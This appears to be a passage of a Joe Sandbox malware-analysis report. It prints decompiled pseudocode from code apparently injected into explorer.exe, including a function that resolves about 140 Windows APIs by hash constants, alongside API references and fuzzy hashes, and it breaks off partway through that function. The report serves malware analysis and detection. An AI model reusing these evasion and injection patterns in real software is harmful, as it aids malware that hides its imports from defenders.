                                                                                                                                                                                                                                                                                                      • API String ID: 2633193833-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 917ac25aef4c496c5cf79715139d3d5051caf49c287c42b49102548e450cdad9
                                                                                                                                                                                                                                                                                                      • Instruction ID: 989d0ecbb50c4d683dbd676b071ec3e6662a1940e315452ebb609d9ebc5787e8
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 917ac25aef4c496c5cf79715139d3d5051caf49c287c42b49102548e450cdad9
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 13212C75B40208FFDB10EFA4CC4AF9E77B4AB48710F208298FB585F6C0D675AA408B94
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 86%
                                                                                                                                                                                                                                                                                                      			E010F8FE0(intOrPtr _a4, intOrPtr _a8) {
                                                                                                                                                                                                                                                                                                      				void* _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				void* _t21;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t25;
                                                                                                                                                                                                                                                                                                      				void* _t31;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0 || _a8 != 0) {
                                                                                                                                                                                                                                                                                                      					if(_a8 == 0) {
                                                                                                                                                                                                                                                                                                      						_t25 = E010F8DF0(_a4, 0xffffffff);
                                                                                                                                                                                                                                                                                                      						_t31 = _t31 + 8;
                                                                                                                                                                                                                                                                                                      						_a8 = _t25;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      						_v8 = E010F8F60(_a8, 1);
                                                                                                                                                                                                                                                                                                      						if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(_v8);
                                                                                                                                                                                                                                                                                                      							_t21 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x60))))(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t21 >= 0) {
                                                                                                                                                                                                                                                                                                      								_v12 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E010F16E0();
                                                                                                                                                                                                                                                                                                      							NtClose(_v8); // executed
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}








                                                                                                                                                                                                                                                                                                      0x010f8fe6
                                                                                                                                                                                                                                                                                                      0x010f8ff1
                                                                                                                                                                                                                                                                                                      0x010f9002
                                                                                                                                                                                                                                                                                                      0x010f900a
                                                                                                                                                                                                                                                                                                      0x010f900f
                                                                                                                                                                                                                                                                                                      0x010f9012
                                                                                                                                                                                                                                                                                                      0x010f9012
                                                                                                                                                                                                                                                                                                      0x010f9019
                                                                                                                                                                                                                                                                                                      0x010f9029
                                                                                                                                                                                                                                                                                                      0x010f9030
                                                                                                                                                                                                                                                                                                      0x010f9032
                                                                                                                                                                                                                                                                                                      0x010f9037
                                                                                                                                                                                                                                                                                                      0x010f9040
                                                                                                                                                                                                                                                                                                      0x010f9044
                                                                                                                                                                                                                                                                                                      0x010f9046
                                                                                                                                                                                                                                                                                                      0x010f9046
                                                                                                                                                                                                                                                                                                      0x010f9051
                                                                                                                                                                                                                                                                                                      0x010f9058
                                                                                                                                                                                                                                                                                                      0x010f9058
                                                                                                                                                                                                                                                                                                      0x010f9030
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f8ff9
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f8ff9

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtTerminateProcess.NTDLL(00000000,00000000), ref: 010F9040
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F9058
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseProcessTerminate
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1940813903-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 6ea971356150bd81a48e2fecd211b3d3d17cf8ea6bdf3a64e5540f54ba9bea9b
                                                                                                                                                                                                                                                                                                      • Instruction ID: e6699eaefdfd04b8f19dbced595e46be10216e8544c691a925416b7c8fc20ea2
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6ea971356150bd81a48e2fecd211b3d3d17cf8ea6bdf3a64e5540f54ba9bea9b
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FE015734900208EFDF20EFA8C846BDD7BB0AF44319F10C2A9FB555B690D6799A88CF40
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 28%
                                                                                                                                                                                                                                                                                                      			E010F7700(void* __ecx, char _a4) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				void* _t9;
                                                                                                                                                                                                                                                                                                      				void* _t15;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0x4000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					_push(0x8000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					_t15 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					return _t15;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _t9;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x010f7708
                                                                                                                                                                                                                                                                                                      0x010f770a
                                                                                                                                                                                                                                                                                                      0x010f7711
                                                                                                                                                                                                                                                                                                      0x010f7719
                                                                                                                                                                                                                                                                                                      0x010f771d
                                                                                                                                                                                                                                                                                                      0x010f771e
                                                                                                                                                                                                                                                                                                      0x010f7728
                                                                                                                                                                                                                                                                                                      0x010f772a
                                                                                                                                                                                                                                                                                                      0x010f7732
                                                                                                                                                                                                                                                                                                      0x010f7736
                                                                                                                                                                                                                                                                                                      0x010f7737
                                                                                                                                                                                                                                                                                                      0x010f7741
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f7741
                                                                                                                                                                                                                                                                                                      0x010f7746

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 010F7728
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 010F7741
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3963845541-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 72afd6d54ad08937393dde14fe370dc97240bedb834de37573aeb02f4de90155
                                                                                                                                                                                                                                                                                                      • Instruction ID: 546805efa937fed83a88aed83a6f6a1e58064519ca219ab629616e3b65329669
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72afd6d54ad08937393dde14fe370dc97240bedb834de37573aeb02f4de90155
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79E0ED76524208FFDB04EF94CC46FEA776CEB44360F248399A6245B1D0EA71AB44CBE5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E010F16F0(void* __eflags, intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				long _v20;
                                                                                                                                                                                                                                                                                                      				void* _t493;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = E010F1000(0x84c05e40);
                                                                                                                                                                                                                                                                                                      				if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      					 *0x111fc04 = 0;
                                                                                                                                                                                                                                                                                                      					_v12 = E010F1080(_v8, 0xd820a574);
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v20 = 0x310;
                                                                                                                                                                                                                                                                                                      						if(NtAllocateVirtualMemory(0xffffffff, 0x111fc04, 0,  &_v20, 0x3000, 4) >= 0) {
                                                                                                                                                                                                                                                                                                      							 *( *0x111fc04) = E010F1080(_v8, 0x180c0d23);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 4)) = E010F1080(_v8, 0x183679f2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 8)) = E010F1080(_v8, 0xb64c13ee);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xc)) = _v12;
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x10)) = E010F1080(_v8, 0xf97a25d4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x14)) = E010F1080(_v8, 0xd2654135);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x18)) = E010F1080(_v8, 0xe8b3559);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1c)) = E010F1080(_v8, 0xe9fa5fec);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x20)) = E010F1080(_v8, 0x918ed998);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x24)) = E010F1080(_v8, 0xabad92e3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x28)) = E010F1080(_v8, 0xaf11bc24);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x2c)) = E010F1080(_v8, 0x8463960a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x30)) = E010F1080(_v8, 0xd141afd3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x34)) = E010F1080(_v8, 0x57f17b6b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x38)) = E010F1080(_v8, 0xc488ee02);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x3c)) = E010F1080(_v8, 0xa7838944);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x40)) = E010F1080(_v8, 0x9f45283d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x44)) = E010F1080(_v8, 0x77a7dae5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x48)) = E010F1080(_v8, 0x2be11d1c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x4c)) = E010F1080(_v8, 0x90025177);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x50)) = E010F1080(_v8, 0xf775fbc7);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x54)) = E010F1080(_v8, 0xe96d2c1b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x58)) = E010F1080(_v8, 0x89a2014d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x5c)) = E010F1080(_v8, 0xd8d39f09);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x60)) = E010F1080(_v8, 0xe26d605a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x64)) = E010F1080(_v8, 0x5e7088ed);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x68)) = E010F1080(_v8, 0xd6c37a18);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x6c)) = E010F1080(_v8, 0x6ab0c8e4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x70)) = E010F1080(_v8, 0x26f94a0b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x74)) = E010F1080(_v8, 0x215eddfb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x78)) = E010F1080(_v8, 0x2af0409a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x7c)) = E010F1080(_v8, 0xa0a76acb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x80)) = E010F1080(_v8, 0x3e569f5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x84)) = E010F1080(_v8, 0x519bed2b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x88)) = E010F1080(_v8, 0x6b74c325);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x8c)) = E010F1080(_v8, 0x52d21a21);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x90)) = E010F1080(_v8, 0x3185e3a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x94)) = E010F1080(_v8, 0x46567e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x98)) = E010F1080(_v8, 0xcfb4ee17);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x9c)) = E010F1080(_v8, 0xa5c2991b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xa0)) = E010F1080(_v8, 0x97d4eb02);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xa4)) = E010F1080(_v8, 0x7714fa20);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xa8)) = E010F1080(_v8, 0x301bf0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xac)) = E010F1080(_v8, 0xc8277bf4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xb0)) = E010F1080(_v8, 0xb0ebd9c2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xb4)) = E010F1080(_v8, 0x5418dca4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xb8)) = E010F1080(_v8, 0xa81a7cd4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xbc)) = E010F1080(_v8, 0xb679c176);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xc0)) = E010F1080(_v8, 0xcfe3e811);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xc4)) = E010F1080(_v8, 0xb5000c52);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xc8)) = E010F1080(_v8, 0x6967772d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xcc)) = E010F1080(_v8, 0x783d88df);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xd0)) = E010F1080(_v8, 0x6f97ba62);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xd4)) = E010F1080(_v8, 0xcc7d438d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xd8)) = E010F1080(_v8, 0x2c919477);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xdc)) = E010F1080(_v8, 0xd287ee26);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xe0)) = E010F1080(_v8, 0x9d35f923);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xe4)) = E010F1080(_v8, 0xcbf210e5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xe8)) = E010F1080(_v8, 0x324d9a29);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xec)) = E010F1080(_v8, 0xd2fe73b5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xf0)) = E010F1080(_v8, 0xbb79c95a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xf4)) = E010F1080(_v8, 0xd93603c8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xf8)) = E010F1080(_v8, 0x7e222a34);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0xfc)) = E010F1080(_v8, 0xa76f9b64);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x100)) = E010F1080(_v8, 0xe7c5afe3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x104)) = E010F1080(_v8, 0xa646b782);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x108)) = E010F1080(_v8, 0x52a02912);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x10c)) = E010F1080(_v8, 0x194b0653);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x110)) = E010F1080(_v8, 0x7d8f0227);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x114)) = E010F1080(_v8, 0x994c81ab);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x118)) = E010F1080(_v8, 0x2c09d0ca);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x11c)) = E010F1080(_v8, 0xbd6735c3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x120)) = E010F1080(_v8, 0xc4c3ac97);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x124)) = E010F1080(_v8, 0x900f6a6e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x128)) = E010F1080(_v8, 0xe9abf33a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x12c)) = E010F1080(_v8, 0x4c8a5b22);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x130)) = E010F1080(_v8, 0x133f9317);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x134)) = E010F1080(_v8, 0x61e2048f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x138)) = E010F1080(_v8, 0x3e57ccba);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x13c)) = E010F1080(_v8, 0x3bd7e17b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x140)) = E010F1080(_v8, 0x4273782f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x144)) = E010F1080(_v8, 0xca3a8f9a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x148)) = E010F1080(_v8, 0x958f47af);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x14c)) = E010F1080(_v8, 0x23398d9a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x150)) = E010F1080(_v8, 0xde73fed);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x154)) = E010F1080(_v8, 0xbd2f3f6d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x158)) = E010F1080(_v8, 0x4a5a980c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x15c)) = E010F1080(_v8, 0x7aa7b69b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x160)) = E010F1080(_v8, 0x4491b126);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x164)) = E010F1080(_v8, 0x27ae6b27);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x168)) = E010F1080(_v8, 0x58016551);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x16c)) = E010F1080(_v8, 0x43681ce6);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x170)) = E010F1080(_v8, 0x5368361b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x174)) = E010F1080(_v8, 0xe18f635a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x178)) = E010F1080(_v8, 0x50cfba45);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x17c)) = E010F1080(_v8, 0x9bfff5d2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x180)) = E010F1080(_v8, 0x52fe26d8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x184)) = E010F1080(_v8, 0xcbf9a7e9);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x188)) = E010F1080(_v8, 0xbaab0208);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x18c)) = E010F1080(_v8, 0xfed80136);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x190)) = E010F1080(_v8, 0x8d76f9a4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x194)) = E010F1080(_v8, 0x6023e15c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x198)) = E010F1080(_v8, 0x58ff5064);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x19c)) = E010F1080(_v8, 0x9ff81f51);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1a0)) = E010F1080(_v8, 0x77858e5f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1a4)) = E010F1080(_v8, 0x73210360);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1a8)) = E010F1080(_v8, 0x29a054e4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1ac)) = E010F1080(_v8, 0x7ef4bae5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1b0)) = E010F1080(_v8, 0x9ab4737e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1b4)) = E010F1200(0, 1, 0x5b4219f8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1b8)) = E010F1200(0, 1, 0x7536a662);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1bc)) = E010F1200(0, 1, 0x2b0b47a5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1c0)) = E010F1200(0, 1, 0x48fea11e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1c4)) = E010F1200(0, 1, 0xa1efe929);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1c8)) = E010F1200(0, 1, 0x95c03d0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1cc)) = E010F1200(0, 1, 0xcce95612);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1d0)) = E010F1200(0, 1, 0xfa3d2f88);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1d4)) = E010F1200(0, 1, 0xa7fb4165);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1d8)) = E010F1200(0, 1, 0xefc7ea74);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1dc)) = E010F1200(0, 1, 0x8b5819ae);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1e0)) = E010F1200(0, 1, 0x998508e2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1ec)) = E010F1200(0, 1, 0x2519b15a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1e4)) = E010F1200(0, 1, 0xc4b4a94d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1e8)) = E010F1200(0, 1, 0xe1bf2253);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1f8)) = E010F1200(0, 1, 0xa0f5d331);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1fc)) = E010F1200(0, 1, 0xd52d474a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x200)) = E010F1200(0, 1, 0x271d201);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x204)) = E010F1200(0, 1, 0xb09315f4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x208)) = E010F1200(0, 1, 0x3d3f609f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x20c)) = E010F1200(0, 1, 0x81f39c19);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x210)) = E010F1200(0, 1, 0xd82bf69a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x214)) = E010F1200(0, 1, 0x839a7905);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x218)) = E010F1200(0, 1, 0x3e08f78b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1f0)) = E010F1200(0, 1, 0x3faffd4a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x1f4)) = E010F1200(0, 1, 0x21804a03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x21c)) = E010F1200(0, 1, 0x8a8d16db);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x220)) = E010F1200(0, 1, 0x71a75557);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x224)) = E010F1200(0, 1, 0x906a06b0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x228)) = E010F1200(0, 1, 0xff808c10);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x22c)) = E010F1200(0, 1, 0xd9b20494);
